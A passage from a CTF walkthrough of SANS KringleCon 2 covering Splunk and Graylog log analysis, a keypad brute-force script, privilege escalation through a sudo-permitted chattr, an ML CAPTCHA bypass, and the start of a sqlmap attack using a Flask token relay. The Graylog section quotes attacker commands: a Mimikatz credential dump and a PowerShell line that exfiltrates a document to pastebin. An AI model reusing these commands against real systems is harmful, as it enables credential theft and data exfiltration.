That didn’t have any interesting results with O�ice documents, so “zoomed out” in the event timelineand stepped backwards by events. Eventually, I found the document!

Figure 2.73: Found the answer to Training Question #4

The answer to the fourth training question is:

19th Century Holiday Cheer Assignment.docm

John Hammond 49

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.74: Training Question #4 Complete

2.9.6 Training Question #5

Howmany unique email addresses were used to send Holiday Cheer essays to Professor Banas?Please provide the numeric value. (Example: 1)

This was my first introduction to stoQ, and it was awesome. I had never seen it before (nor hadmyfriends, who are actual Blue Teamers and see Splunk certainly more o�en than I do) and tinkering withit for this task was very cool.

stoQ lets us see all of the di�erent properties and attributes included in e-mails, all churned up andable to be fed to Splunk. We could see the “to” and “from” sender addresses, the e-mail contents, andeven attachments that could be stored in the separate File Archive location.

A�er Alice Bluebird explained some of the syntax, I was able to tinker with the search queries andextract some worthwhile information.

To find unique usernames, though, admittedly I went back to mymore command-line origins.

I searchedwithindex=main sourcetype=stoq | table results{}.workers.smtp.toand then I copied the results to a text file.

John Hammond 50

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.75: SMTP E-mail addresses

I removed all the instances of ..carl.banas.. and converted everything to lowercase, so I couldsimply use Bash like so:

cat email_addresses.txt | strings -n 4 | sort | uniq | wc -l

The answer to the fi�h training question is:

21

John Hammond 51

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.76: Training Question #5 Complete

2.9.7 Training Question #6

What was the password for the zip archive that contained the suspicious file?

Alice Bluebird even explains this training question should not be too di�icult.

I found this from the old original search, index=main sourcetype=stoq | table_time results{}.workers.smtp.to results{}.workers.smtp.from re-sults{}.workers.smtp.subject results{}.workers.smtp.body | sort -_time, just by reading the first result.

Figure 2.77: Finding the answer to Training Question #6

The body of the e-mail shows the password.

The answer to the sixth training question is:

123456789

Figure 2.78: Training Question #6 Complete

John Hammond 52

KringleCon 2: Turtle Doves 2020-01-13

2.9.8 Training Question #7

What email address did the suspicious file come from?

And the final training question is another task that is not too di�icult, based o� of the results we alreadyhave within Splunk.

We can see the e-mail address for the sender already in the properties of our previous search!

The answer to the seventh training question is:

[email protected]

Figure 2.79: Training Question #7 Complete

2.9.9 Capstone Question

What was the message for Kent that the adversary embedded in this attack?

Now that we have completed all of the training questions, Alice Bluebirdwas willing to o�er somegood insight on the final capstone question.

We had tracked down the malicious e-mail, the malicious document stager, and the malicious pay-load. Some other SOC analysts had noticed something peculiar in the properties of the maliciousdocument.

With the help of the File Archive, and some of the syntax help that Alice Bluebird provided for us, I wasable to download pieces of the document!

John Hammond 53

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.80: Finding files part of the malicious document

In fact, I was able to download the core.xml file that is the necessary backbone to the documentitself!

https://elfu-soc.s3.amazonaws.com/stoQ%20Artifacts/home/ubuntu/archive/f/f/1/e/a/ff1ea6f13be3faabd0da728f514deb7fe3577cc4

Looking at that core.xml file, I could see the message:

Figure 2.81: Finding files part of the malicious document

The answer for Objective #6 is:

Kent you are so unfair. And we were going to make you the king of theWinter Carnival.

At last, Objective #6 is done!

John Hammond 54

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.82: Completed Objective #6 - Splunk

2.9.10 Frosty Keypad - Tangle Coalbox’s Challenge

Now on to Objective #7.

Again, doing the due diligence, I ventured o� to Minty’s Dorm Room so I could speak toMinty Candy-cane, whomight o�er somemore tips for this objective.

Up until now, I had not needed to head east of The Quad. At this point, though, I could see from signsthat The Dormitorywas in that direction!

However, the doorway was blocked. Tangle Coalboxwas there with a Frosty Keypad, and I figured Iwould ask what was going on!

Figure 2.83: Talking with Tangle Coalbox

John Hammond 55

KringleCon 2: Turtle Doves 2020-01-13

Turns out the FrostyKeypadneeds a special number code to be unlocked. Thankfully, Tangle Coalboxhad a few hints to share that could me crack the code!

Figure 2.84: Frosty Keypad Clues

Figure 2.85: The Frosty Keypad

Now, looking at the keypad, I could see the numbers that were pressed and with the given clues

John Hammond 56

KringleCon 2: Turtle Doves 2020-01-13

I could track down potential candidates for the code. I shamelessly stole some code online to beable todetermine thenext primenumber (https://www.geeksforgeeks.org/program-to-find-the-next-prime-number/) , and then I wrote a quick-and-dirty Python script for the otherconditions that Tangle Coalbox told me about.

from string import digits

good_keys = [str(x) for x in [1, 3, 7]] # only 1, 3 and 7 are usedbad_keys = set(digits) - set(good_keys) # ignore the other numbersN = 3 # just start somewhere for counting primes

while True:

# https://geeksforgeeks.org/program-to-find-the-next-prime-numberN = nextPrime(N)string = str(N)

for x in good_keys:if x in str(string): # if each of the good #s are present

for y in bad_keys: # none of of the bad #s are...if y in str(string):

break # (fail otherwise)else:

try: # ... then look for repeatsindex = string.index(x)if string[index+1] == x:

for z in good_keys: # and ensure ALL goodif z not in string: # numbers are present!

break # (fail otherwise)else:

print(string)except:

continue

if N > 10000:break # limit our loop so we don't spiral to infinity

Note that the code for the function nextPrime is not shown above, for brevity’s sake. You can see

John Hammond 57

KringleCon 2: Turtle Doves 2020-01-13

the code at the proper resource online if you would like.

Figure 2.86: Python code results

Now I had a few potential candidates, and if none of these worked, I could increase the upper boundonmy script and try other pincodes.

I tried 7331 as the a pincode, and it worked!

Figure 2.87: 7331 is the correct code

Now I could move into The Dormitory.

John Hammond 58

KringleCon 2: Turtle Doves 2020-01-13

2.10 Entering The Dormitory

Inside of The Dormitory, I could see Pepper Minstix in the center, andMinty Candycane o� to theright. Each of themwas beside a Cranberry Pi, and probably needed help with something!

Figure 2.88: Inside of The Dormitory

2.10.1 Holiday Hack Trail - Minty Candycane’s Cranberry Pi

Since I knew Minty Candycanemight be able to help with Objective #7, I went up and spoke withher!

Figure 2.89: Chatting with Minty Candycane

John Hammond 59

KringleCon 2: Turtle Doves 2020-01-13

It sounds like she was playing The Holiday Hack Trail, seemingly a Cranberry Pi terminal challenge,based o� the old “Oregon Trail” video game. Ha!

Figure 2.90: The Holiday Hack Trail

Without even thinking, I burned through the first splash screen by just clicking “EASY” as a di�iculty. I

John Hammond 60

KringleCon 2: Turtle Doves 2020-01-13

waswanting towork through this simplywithout any friction so I could get through to the real objective,so that is just where mymouse instinctively went to!

I noticed, at the very top, I could see a URL bar that included the web address for the game. That wasdi�erent than any other Cranberry Pi challenge.

I fumbled around with the text entry boxes for some time, seeing if I could do anything interesting orsupply odd-ball values. . . eventually, I went to watch Chris Elgee’s KringleCon talk to sort of narrowmy scope here. With that, I noticed while playing the game, there were HTTP GET variables or specificparameters in the URL that looked to be critical to what was really happening on-screen. I thought itwas peculiar.

I realized that the goal was to travel the full “8000” in distance. . . and in the URL, there was a parameterthat seemed to reflect howmuch distance was already travelled!

I did not realize until now thatwas only present in the EASY di�iculty! Seems I had stumbled uponit without even realizing.

So, I tried to adjust the distance variable in the URL to just under 8000! That way I would havealready travelled the entire trail and perhaps I could win?

Figure 2.91: Success - URL distance hack wins!

That did it! With that little hack, I could skip the whole trail and beat the game!

John Hammond 61

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.92: Completed the Holiday Hack Trail Challenge

Now I could speak withMinty Candycane and see if she had any pointers for Objective #7.

Figure 2.93:Minty Candycane’s Advice for Objective #7

Sounds like there is a “key grinder” in her room.. .? And supposedly that would help with Objective#7?

I foundMinty Candycane’s dorm room to the far right, just through the door that was le� slightly openin the corner of The Dormitory.

John Hammond 62

KringleCon 2: Turtle Doves 2020-01-13

2.10.2 Objective #7 - Get Access To The Steam Tunnels

I went in toMinty Candycane’s dorm room.

Figure 2.94:Minty Candycane’s Dorm Room

I noticed that when I walked in, a player seemed to walk right through the door ahead. . . and the doorclosed! It physically closed, like the door swung from open to closed – animated. I had never seen ananimation like that happen throughout KringleCon thus far!

I went to the door to follow that player, and it brought me in to a very small room (a closet, it seemed)apparenly with clothes on the floor and a what looked like a keyhole on the wall. But, the player wasnowhere to be found!

John Hammond 63

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.95: The Closet

A�er walking back out of the closet, back inMinty Candycane’s dorm room, I noticed the door wasopen once again – and that player was back in the same spot! A�er a second or two, he hobbled up tothe door again, and it swung shut.

Then I realized: that wasn’t a player at all!

That must be another Holiday Hack Challenge character, purposefully placed there, walking in to thatcloset. . . maybe to interact with the keyhole!

I thought back to whatMinty Candycane had said. “Maybe you’ll see someone hopping around with a

John Hammond 64

KringleCon 2: Turtle Doves 2020-01-13

key here on campus. . .”. . . that must be him!

When I entered the dormroom, I could see the character’s image retrieved within the Network tab ofthe Developer Tools in my Browser, just asMinty Candycane suggested.

Figure 2.96: Network Tools. . . it’s Krampus!

Downloaded, the image filename was “krampus.png” This Krampus character looked like he wascarrying a key!

I thought, considering whatMinty Candycane had said, maybe we could use this key, just by seeing it,to gain access through that keyhole in the closet.

John Hammond 65

KringleCon 2: Turtle Doves 2020-01-13

I reviewed the dialogue with Minty Candycane and went o� to watch Deviant Ollam’s talk. Thistechnique was super cool.

(Side note: I ran into Deviant Ollam at the SANS CDI/NETWARS Tournament of Champions eventin Washington, DC, and this was an awesome conversation starter. Very surreal to be able to meethim and chat about this cool trick during the social hour there!)

Using some of Deviant’s key bitting templates, I could determine the actual bitting values for the keythat Krampus has and recreate it!

Figure 2.97: Rotating and resizing the key within GIMP

git clone "https://github.com/deviantollam/decoding"

Figure 2.98: The Schlage Key Decoder

I worked with the Schlage key decoder inside of GIMP. I would resize, rotate, and keep adjusting untilI had the lines on the decoder lined up with the key.

John Hammond 66

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.99: The decoder lined up with the key

A�er just a fewminutes, I was able to determine the values:

12252

I thought that looked right enough!

Initially, I fumbled here for some time, trying to remove all the background color and everything fromthe image of the key that Krampuswas wearing, or trying to find some sort of key generator onlinewith that bitting value. . .

Eventually I remembered back to whatMinty Candycane had said, she had a key grinder in her dormroom! That must have been what that thing on the table was. I went back to use it:

John Hammond 67

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.100:Minty Candycane’s Key Grinder

Ah – it looked like the key bitting values should be a total of six digits. . . I only had 5! Looking back atthe decoder, I could see one just at the end notch of the key really could be considered zero.

My final value was:

122520

. . . and I made that with the key grinder!

John Hammond 68

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.101: New Key

The preview from the key grinder did not look like it had the cuts in place, but I thought perhaps thatwas just from the preview. . . I downloaded the precise image on its own:

John Hammond 69

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.102: The Recreated Key

And that looked perfect, certainly a match to what Krampuswas holding.

Now, the question was, could I go use that within the closet in the dorm room, on that keyhole on thewall?

Figure 2.103: The Keyhole on the Wall

John Hammond 70

KringleCon 2: Turtle Doves 2020-01-13

Supplying the new key that I created (clicking on the keys in the top le� corner, selecting that imagefile to upload, and then clicking on the keyhole). . . the key turned, and it opened!

Suddenly, I had access to the steam tunnels!

Figure 2.104: Access to the Steam Tunnels

Figure 2.105: Completed - Get Access to the Steam Tunnels Challenge

Walking inside the steam tunnels, it was a few long, dark hallways (er, tunnels). At the very end of thetunnel, we catch Krampus, and can speak to him! He introduces himself as Krampus Hollyfeld andconfesses that itwas himwho took the two turtle doves!

John Hammond 71

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.106: Krampus says he did it!

Now, I can answer the real question to Objective #7:

Figure 2.107: Objective #7 - Get Access To The Steam Tunnels

John Hammond 72

KringleCon 2: Turtle Doves 2020-01-13

The answer for Objective #7 is:

Krampus Hollyfeld

2.11 Quick detour to the Speaker Unpreparedness Room

Well now that Objective #7 is out of the way, Krampus Hollyfeldwastes no time telling us to move onto Objective #8. For this Objective, some helpful suggestions could apparently be o�ered by AlabasterSnowball back in the Speaker Unpreparedness Room.

I knew thatwas back inHermeyHall, so I hobbled all theway back over there on the complete oppositeend of The Quad! Inside of the Speaker Unpreparedness Room, I saw and spoke with AlabasterSnowball.

Figure 2.108: Alabaster Snowball’s Quibbles

John Hammond 73

KringleCon 2: Turtle Doves 2020-01-13

2.11.1 Nyanshell - Alabaster Snowball’s Cranberry Pi

Sounds like his Cranberry Pi is acting up. I went to take a look!

Figure 2.109: Nyanshell

John Hammond 74

KringleCon 2: Turtle Doves 2020-01-13

This explained that we needed to log in as the alabaster_snowball user. It o�ered credentialsthat we could use:

Target Credentials:

username: alabaster_snowball

password: Password2

So, it seemed easy enough to just switch to the user:

su alabaster_snowball

But a�er entering the password, all that did was stick us in a non-interactive Nyancat loop. . .

Figure 2.110: Nyancat loop

I thought to take a look at /etc/passwd and check if this was a di�erent shell binary set for thealabaster_snowball user.

John Hammond 75

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.111: Viewing /etc/passwd

Sure enough, it looks like the alabaster_snowball user has a di�erent default shell set – they areusing /bin/nsh, which seems new tome.

I wanted to get an idea as to what /bin/nsh really was, so I ran file on it (turned out to be a binary,not a script). I could extract plaintext strings or do other file reconaissance work, but that didn’t reallyhelp me all that much.

I took a look at the permissions of the file with ls -l /bin/nsh:

-rwxrwxrwx 1 root root 75680 Dec 11 17:40 /bin/nsh

Oh! Any user could write to it! Well, then, I could just overwrite the file with the original /bin/bash,that didn’t seem too bad.

Figure 2.112: Viewing /etc/passwd

“Operation not permitted?” What?

The permissions seemed fine, but, that wouldn’t work for some reason. I thought to go another route.I could just use usermod -s to switch the users default shell, but I didn’t have the privileges forthat. . .

. . . then I remembered what Alabaster Snowball had said! What about sudo -l?

Matching Defaults entries for elf on f96ccb851573:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\...

User elf may run the following commands on f96ccb851573:(root) NOPASSWD: /usr/bin/chattr

Everything clicked, this all make sense.

John Hammond 76

KringleCon 2: Turtle Doves 2020-01-13

I could not overwrite the file previously because it must have been marked immutable by chattr.But, since our user can run that with sudo, we can remove the immutable bit and then fix the shell!

I followed suit and switched to the alabaster_snowball user.

Figure 2.113: Overwriting Nyanshell

Figure 2.114: Completed Nyanshell - Alabaster Snowball’s Cranberry Pi

Success! Now that we had helped Alabaster Snowball, we could ask if he could help us!

John Hammond 77

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.115: Alabaster’s Tips

So this tells us about the Frido Sleigh contest, which is apparently only for elves – but we need to win,as part of our objectives! It soundsmachine learning is what we need to use to beat the “CAPTEHA”challenge.

John Hammond 78

KringleCon 2: Turtle Doves 2020-01-13

2.11.2 Objective #8 - Bypassing the Frido Sleigh CAPTEHA

Figure 2.116: Objective #8 - Bypassing the Frido Sleigh CAPTEHA

The link to the website is as follows:

https://fridosleigh.com/

Figure 2.117: The Frido Sleigh Contest

Looking at the webpage, it seems we are “ineligible” for the contest! Unfortunately I am not an elf, noram I 180 years or older.

But, per our objective, we need to bypass this. I filled in some bogus information for the input fields,and then went to click “I’m not a human” for the “CAPTEHA”.

John Hammond 79

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.118: The CAPTEHA Challenge

John Hammond 80

KringleCon 2: Turtle Doves 2020-01-13

Apparently, I need to select all of the images in a given category, from this large display. . . in under fiveseconds! That is just plain impossible.

At least, it is impossible formy poor human brain – I need to be acting like an elf! ConsideringAlabasterSnowball’s tips, I can take advantage ofmachine learning to do this.

If we could have collect a catalogue of known images, in each of the di�erent categories, we could havea computer model trained to know the di�erence between them, and then detect and identify newand unknown pictures. . . ultimately solving the CAPTEHA!

From our previous conversation with Krampus Hollyfeld, he has an archive of 12,000 images, andsome source code to work through the Frido Sleigh API interface.

Admittedly, this is very new to me – I have never done any real work with machine learning. So, I tooka look at the KringleCon II talk by Chris Davis and got a bit smarter with TensorFlow. With all of thepieces of the puzzle that they gave me, this didn’t seem extremely di�icult.

Here is the code that Krampus Hollyfeld o�ered me, included as an image (it takes up way more thanjust one page as text):

John Hammond 81

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.119: The CAPTEHA API code

I needed to modify this use a pre-trained computer model to be able to detect and identify the givencategories. So, firstly I needed to dive into the machine learning code!

I pulled down the code given by Chris Davis. First, I made sure I had TensorFlow and all the requireddependencies installed and available onmymachine.

sudo apt install python3-pipsudo python3 -m pip install --upgrade pipsudo python3 -m pip install --upgrade setuptoolssudo python3 -m pip install --upgrade tensorflow==1.15

John Hammond 82

KringleCon 2: Turtle Doves 2020-01-13

When I followed through with Chris Davis’s given example and demonstration, it took my computer along time to train the model. I think over 10 minutes. And that was just 12 pictures! How was I going todo that with 12,000!?

What I decided to do was significantly cut down the number of training images. I figured it could stilldetect the object, considering the distinct shapes – and if it failed once or twice, that was fine – as itsaid in the code, I could run it just a fewmore times until it found the sweet spot and got it right.

So I opened up Nautilus, my file browser, and then took a look at howmany thumbnail images wouldbe able to fit on my screen display at one time. It was around 130 images or so. All the others in a givencategory, I removed! Ultimately, it shaved the 12,000 image pile into about 950. I figured the pictureswere small, so if 12 “large” pictures from the example demonstration would take 10 minutes, maybethese tiny ones wouldn’t take more than. . . . a day, I suppose, being optimistic. Hopefully!

Regardless, now that I had trimmed down the sample data set, I could train the computer modelwith the retrain.py Python script, o�ered by Chris Davis. With frido being the parent directoryhosting all the subdirectories for the di�erent picture categories, I ran:

python3 retrain.py --image_dir frido/

And, to my surprise, this finished in. . . under five minutes!

Now I tookbits andpiecesof the thepredict_images_using_trained_model.py that Iwouldneed toblend in to thecapteha_api.py file thatKrampsHollyfeldgaveme. Honestly I just jammedin the necessary TensorFlow boilerplate at the top of script, and tweaked the inputs so that it wouldpull from new trainedmodel we had.

Also, I could see from the API script, that the images were returned from the website as their Base64encoded bytes. I took that data, decoded it, and stu�ed that into the image_bytes variable. ThenTensorFlow could work its magic without an issue!

Here is the adapted code I put in place of the “MISSING IMAGE PROCESSING ANDML IMAGE PREDICTIONCODE GOES HERE” comment (note the TensorFlow boilerplate would be above, it not showcased inthis excerpt):

John Hammond 83

KringleCon 2: Turtle Doves 2020-01-13

# Load the trained model created from running retrain.pygraph = load_graph("/tmp/retrain_tmp/output_graph.pb")labels = load_labels("/tmp/retrain_tmp/output_labels.txt")

# Load up our sessioninput_operation = graph.get_operation_by_name("import/Placeholder")output_operation = graph.get_operation_by_name("import/final_result")sess = tf.compat.v1.Session(graph=graph)

q = queue.Queue() # Use queues & threading to spead up the processing

for image in b64_images:img_b64 = image["base64"]uuid = image["uuid"]image_bytes = base64.b64decode(img_b64)print("Processing Image {}".format(uuid))while len(threading.enumerate()) > 10:

time.sleep(0.0001) # Don't process too many images at once.

threading.Thread(target=predict_image,args=( q, sess, graph, image_bytes, uuid, labels,

input_operation, output_operation),).start()

while q.qsize() < len(b64_images):time.sleep(0.001)

prediction_results = [q.get() for x in range(q.qsize())]

final_answer = []for prediction in prediction_results:

print( "TensorFlow Predicted {img_full_path} is a {prediction} \with {percent:.2%} Accuracy".format(**prediction))

if prediction["prediction"] in challenge_image_types:final_answer.append(prediction["img_full_path"])

John Hammond 84

KringleCon 2: Turtle Doves 2020-01-13

This became a bit of a sloppy modified_capteha_api.py script, but it would get the job done. Ifilled in my real e-mail address, and ran it to see if it would work!

Figure 2.120: Bypassed the CAPTEHA!

It worked! I got the e-mail, and had won the Frido Sleigh contest!

Figure 2.121: E-mail from Frido Sleigh

The answer for Objective #8 is:

8Ia8LiZEwvyZr2WO

John Hammond 85

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.122: Completed Objective #8 - Bypassing the Frido Sleigh CAPTEHA

2.12 Going back to the Steam Tunnels

With Objective #8 complete, I could once again talk withKrampusHollyfeld and he could tell memoreabout what’s going on I hobbled back there and got more intel.

Figure 2.123: Krampus tells us about the scraps of paper

John Hammond 86

KringleCon 2: Turtle Doves 2020-01-13

Krampus Hollyfeld explains to us that the scraps of paper he spoke about previously were le� on hisserver – and he cannot get back to them! He trusts us to break into the server and find the pieces ofpaper. He also gives us an awesome new capability, to teleport around Elf University within our badge.This will come in handy – as before I tackle Objective #9, I want to work through another Cranberry Pichallenge! For this objective, we can assist Pepper Minstix in The Dormitory.

2.12.1 Graylog - Pepper Minstix’s Cranberry Pi

I remember seeing Pepper Minstix in the center in The Dormitory, so I teleported there and went tospeak with her!

Figure 2.124: Pepper Minstix’s Problems

Pepper Minstix needs help with Graylog to fill out an incident response report. I walked over to theCranberry Pi to see how I could help. The credentials were elfustudent/elfustudent.

John Hammond 87

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.125: Graylog

Figure 2.126: Incident Response Report

John Hammond 88

KringleCon 2: Turtle Doves 2020-01-13

Upon pulling up the Incident Response Report from the bottom right corner, I could see there were lotsof questions I needed to answer, and I could use Graylog to accomplish all of the tasks.

First, I select the “Allmessages” stream to search in, and switched the timeline toquery “in allmessages”rather than just the last five minutes.

2.12.2 Question #1

Minty CandyCane reported someweird activity on his computer a�er he clicked on a link in Firefoxfor a cookie recipe and downloaded a file.

What is the full-path + filename of the first malicious file downloaded by Minty?

For this question, I simply searched for the term “downloads”.

Figure 2.127: Question 1 result - Searching for “downloads”

The answer was:

C:\Users\minty\Downloads\cookie_recipe.exe

A�er filling in the correct answer, the page would o�er some hints or guidelines. They say:

John Hammond 89

KringleCon 2: Turtle Doves 2020-01-13

We can find this searching for sysmon file creation event id 2 with a process named firefox.exeand not junk .temp files. We can use regular expressions to include or exclude patterns: Tar-getFilename:/.+\.pdf/

2.12.3 Question #2

The malicious file downloaded and executed by Minty gave the attacker remote access to hismachine. What was the ip:port the malicious file connected to first?

I searched for cookie_recipe.exe, then turned on the DestinationIP field on the le� side,and clicked on that to search results for it in the listing.

Figure 2.128: Question 2 result - “cookie_recipe.exe” with DestinationIP

The answer was:

192.168.247.175:4444

They say:

We can pivot o� the answer to our first question using the binary path as our ProcessImage.

2.12.4 Question #3

John Hammond 90

KringleCon 2: Turtle Doves 2020-01-13

What was the first command executed by the attacker? (answer is a single word)

For this question, I honestly completely guessed. I answered with just what I tend to use when I firstget on a target box.

The answer was:

whoami

I followed through with the given hint and found this formally.

Since all commands (sysmon event id 1) by the attacker are initially running through thecookie_recipe.exe binary, we can set its full-path as our ParentProcessImage to find childprocesses it creates sorting on timestamp.

2.12.5 Question #4

What is the one-word service name the attacker used to escalate privileges?

Knowing that I was searching for a service and theywere alreadyworking on the command-line, I madesure to include sc.exe as part of my search query. My final search query was:

ParentProcessImage:"C:\Users\minty\Downloads\cookie_recipe.exe" sc.exeand I had included CommandLine as a field to display. I could see the

Figure 2.129: Question 4 result - “sc.exe” with CommandLine field

The answer was:

webexservice

They say:

John Hammond 91

KringleCon 2: Turtle Doves 2020-01-13

Continuing on using the cookie_recipe.exe binary as our ParentProcessImage, weshould see somemore commands later on related to a service.

2.12.6 Question #5

What is the file-path + filename of the binary ran by the attacker to dump credentials?

Since this was asking for a binary, I searched for:

.exe ParentProcessImage:"C:\Users\minty\Downloads\cookie_recipe.exe"

. . . and I added CommandLine as a field to include.

Sorting by time, I could see them download the Mimikatz package from GitHub, saved as acookie.zip. I could also see the download Mimikatz executables, and call them “cookie.exe”.

I saw this entry:

C:\Windows\system32\cmd.exe /c "C:\cookie.exe "privilege::debug""sekurlsa::logonpasswords" exit "

And the "privilege::debug" "sekurlsa::logonpasswords" really confirmed this was infact Mimikatz.

Figure 2.130: Question 5 result - “C:\cookie.exe” acting as Mimikatz

The answer was:

C:\cookie.exe

They say:

John Hammond 92

KringleCon 2: Turtle Doves 2020-01-13

The attacker elevates privileges using the vulnerable webexservice to run a file calledcookie_recipe2.exe. Let’s use this binary path in our ParentProcessImage search.

2.12.7 Question #6

The attacker pivoted to another workstation using credentials gained from Minty’s computer.Which account name was used to pivot to another machine?

Using the same search term I had previously, I could just add the UserAccount field to the display,and a�er following through a few commands I could see the pivot and the new user.

When I was searching through this the very first time, I had eventually stumbled upon this entry:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeInvoke-WebRequest -Uri https://pastebin.com/post.php -Method POST-Body @{ "submit_hidden" = "submit_hidden"; "paste_code" =$([Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf")));"paste_format" = "1"; "paste_expire_date" = "N";"paste_private" = "0"; "paste_name"="cookie recipe" }

That showcased some valuable information. Seeing the username in the path, I submitted the an-swer:

alabaster

They say:

Windows Event Id 4624 is generated when a user network logon occurs successfully. We can alsofilter on the attacker’s IP using SourceNetworkAddress.

2.12.8 Question #7

What is the time ( HH:MM:SS ) the attacker makes a Remote Desktop connection to anothermachine?

I needed to do some research for this to find Windows Event log IDs for RDP.

https://ponderthebits.com/2018/02/windows-rdp-related-event-logs-identification-tracking-and-investigation/

John Hammond 93

KringleCon 2: Turtle Doves 2020-01-13

I used the search: EventID:4624.

Figure 2.131: Question 7 result - RDP timestamps

The answer was:

06:04:28

They say:

LogonType 10 is used for successful network connections using the RDP client.

2.12.9 Question #8

The attacker navigates the file systemof a third host using their RemoteDesktopConnection to thesecond host. What is the SourceHostName,DestinationHostname,LogonType of this connection?

Using the previous answer information. I “pivoted” from there with the SourceHostName and User-Account info, searchingwithSourceHostName:ELFU-RES-WKS2 UserAccount:ELFU-RES-WKS2$

The answer was:

ELFU-RES-WKS2,elfu-res-wks3,3

They say:

John Hammond 94

KringleCon 2: Turtle Doves 2020-01-13

The attacker has GUI access to workstation 2 via RDP. They likely use this GUI connection to accessthe file system of of workstation 3 using explorer.exe via UNC file paths (which is why we don’tsee any cmd.exe or powershell.exe process creates). However, we still see the successful networkauthentication for this with event id 4624 and logon type 3.

2.12.10 Question #9

What is the full-path + filename of the secret research document a�er being transferred from thethird host to the second host?

From that .exe search I had ran previously (when I found the PowerShell POST to pastebin.com) Icould see the filename and path included.

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeInvoke-WebRequest -Uri https://pastebin.com/post.php -Method POST-Body @{ "submit_hidden" = "submit_hidden"; "paste_code" =$([Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf")));"paste_format" = "1"; "paste_expire_date" = "N";"paste_private" = "0"; "paste_name"="cookie recipe" }

The answer was:

C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf

They say:

We can look for sysmon file creation event id of 2 with a source of workstation 2. We can alsouse regex to filter out overly common file paths using something like: AND NOT TargetFile-name:/.+AppData.+/

2.12.11 Question #10

What is the IPv4 address (as found in logs) the secret research document was exfiltrated to?

I used the search

_exists_:SourceHostName _exists_:DestinationHostname_exists_:LogonType EventID:4624

John Hammond 95

KringleCon 2: Turtle Doves 2020-01-13

There I could see the PowerShell command to call out to pastebin. I selected the DestionationIpas a field to display, and the first result with that search contains the answer.

Figure 2.132: Question 10 result - Searching for the PowerShell Pastebin POST

The answer was:

104.22.3.84

They say:

We can look for the original document in CommandLine using regex.

Whenwedo that, we see a long a long PowerShell commandusing Invoke-Webrequest to a remoteURL of https://pastebin.com/post.php.

We can pivot o� of this information to look for a sysmon network connection id of 3 with a sourceof elfu-res-wks2 and DestinationHostname of pastebin.com.

This completed the Graylog Incident Response Report!

Figure 2.133: Incident Response Report Completed

John Hammond 96

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.134: Completed Pepper Minstix Cranberry Pi Challenge

Now I could speak to Pepper Minstix and see what advice she had for Objective #9!

Figure 2.135: Pepper Minstix suggests SQLMAP

Pepper Minstix suggests using sqlmap against the Elf U server. I went to take a look at the server!

John Hammond 97

KringleCon 2: Turtle Doves 2020-01-13

2.12.12 Objective #9 - Retrieve Scraps of Paper from Server

Figure 2.136: Objective #9 - Retrieve Scraps of Paper from Server

I could access the website at this link.

https://studentportal.elfu.org/

One page I could see where I seemed to have any user interaction was at /apply.php. At first I filledout some fields manually:

John Hammond 98

KringleCon 2: Turtle Doves 2020-01-13

Figure 2.137: Applying to Elf U

John Hammond 99

KringleCon 2: Turtle Doves 2020-01-13

Another interesting page I saw was the /check.phpwhere I could “check the application status.”

Figure 2.138: Checking the Application Status

Having a little a bit of a nudge from Pepper Minstix, I knew I would be targeting one of these pageswith sqlmap. Considering there were somany input fields to test against on the apply.php page(and it would seemingly always return a static response, “your application was submitted”) I opted tocheck for SQL injections againt the /check.php page.

I could see in the Network Tab of the Developer Tools in my browser, this page would actually end upGET-ing a page at the URL /application-check.php, which HTTP parameters included, but witha specifc token.

This token seemed to come from the request before – retrieved at /validator.php.

Figure 2.139: The HTTP requests for checking an application

John Hammond 100

KringleCon 2: Turtle Doves 2020-01-13

Upon examining the source code of the /check.php page, I could even see the HTML and JavaScriptthat explained this functionality.

Figure 2.140: The JavaScript getting the “validator” token

Curious, I wanted to check out the /validator.php.

John Hammond 101

KringleCon 2: Turtle Doves 2020-01-13

MTAxMDIwMzM2NTEyMTU3ODQ0Mjc1ODEwMTAyMDMzNi41MTI=_MTI5MzA2MDMwNzM1MzYzMjMyNjUwNzY4LjM4NA==

All it did was return this unique token! I noticed that it would change upon every refresh. This is clearlysome sort of Cross-Site Request Forgery token.

I perused the manual page for sqlmap and took a look to see if it do anything about this CSRF token.When I tried to run sqlmap initially, it noticed the token argument and asked how it should handle it.In the man page, I noticed there were in fact a few arguments that could be given to sqlmap to fill invalues for the token – but they needed to be included in a specific HTML input element. For this case,just simply being returned by /validator.php, I needed to do some special work-arounds.

So, I had not solved this with sqlmap tamper scripts, as Pepper Minstix had suggested. Instead, I dida small trick by grabbing the /validator.php given token, and stu�ing it in an HTML input fieldthat Iwas hosting – so it could be rapidly retrieved by sqlmap.

I spun up a small Python Flask server that looked like this:

#!/usr/bin/env python

from flask import *import requests

app = Flask(__name__)

@app.route('/')def index():

token_url = "https://studentportal.elfu.org/validator.php"

r = requests.get(token_url)token = r.text

return '<input type="hidden" name="token" value="%s">' % token

app.run()

All this would do is host a website, that when accessed, would grab the token value given from /val-idator.php and serve it up in an HTML field so sqlmap could take it and understand it.

Then, I could specify sqlmapwith these arguments:

John Hammond 102

KringleCon 2: Turtle Doves 2020-01-13

